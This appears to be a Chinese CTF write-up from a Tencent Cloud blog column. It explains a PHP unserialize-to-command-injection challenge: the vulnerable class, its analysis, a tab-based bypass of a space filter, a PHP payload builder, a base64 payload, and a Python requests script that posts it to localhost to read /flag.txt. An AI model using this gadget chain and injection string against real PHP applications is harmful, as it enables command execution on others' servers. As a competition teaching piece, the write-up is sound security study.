前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF中PHP反序列化和命令注入的一次简单利用

CTF中PHP反序列化和命令注入的一次简单利用

作者头像
KevinBruce
发布2020-03-12 16:05:51
1.1K0
发布2020-03-12 16:05:51
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习

代码来自第六届防灾科技学院网络安全技能大赛,侵删。

目标

获取Linux服务器根目录下的flag

代码
代码语言:javascript
复制
/*home.php*/
class home{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
        }
    }   
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));
分析

该PHP文件只接收一个base64编码的POST参数,将其解码后会进行反序列化操作。

在执行__wakeup()方法之后,会触发__construct()方法进行初始化,该方法没有可以利用的地方。

当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法。该方法只允许执行类中的ping方法,并会将args的值作为ping方法host参数。

ping中存在可控参数$host,且调用了system函数,这里便可以作为一个利用点。可以构造一个特殊的payload:

代码语言:javascript
复制
ping -c 2 127.0.0.1|cat /flag.txt
#不唯一
利用

整理上面的思路可知,若想得到flag最终要构造出如下的args字符串:

代码语言:javascript
复制
127.0.0.1|cat /flag.txt

而waf等方法又过滤掉了空格,这里可以通过将空格换成Tab来绕过该限制。 同时还要注意method必须为ping。

这里得到了构造payload的最终PHP脚本:

代码语言:javascript
复制
class home{
    
    private $method;
    private $args; 
}
    $a = new home("ping",array('127.0.0.1|cat   /flag.txt'));
    $b = serialize($a);
    echo base64_encode($b);

payload

代码语言:javascript
复制
Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==

发送payload得到flag

代码语言:javascript
复制
import requests
data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}
url = 'http://localhost/common/home.php'
r = requests.post(url,data=data)
print(r.text)
#result:flag{glzjin_wants_a_girl_friend}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-07-16 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目标
  • 代码
  • 分析
  • 利用
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档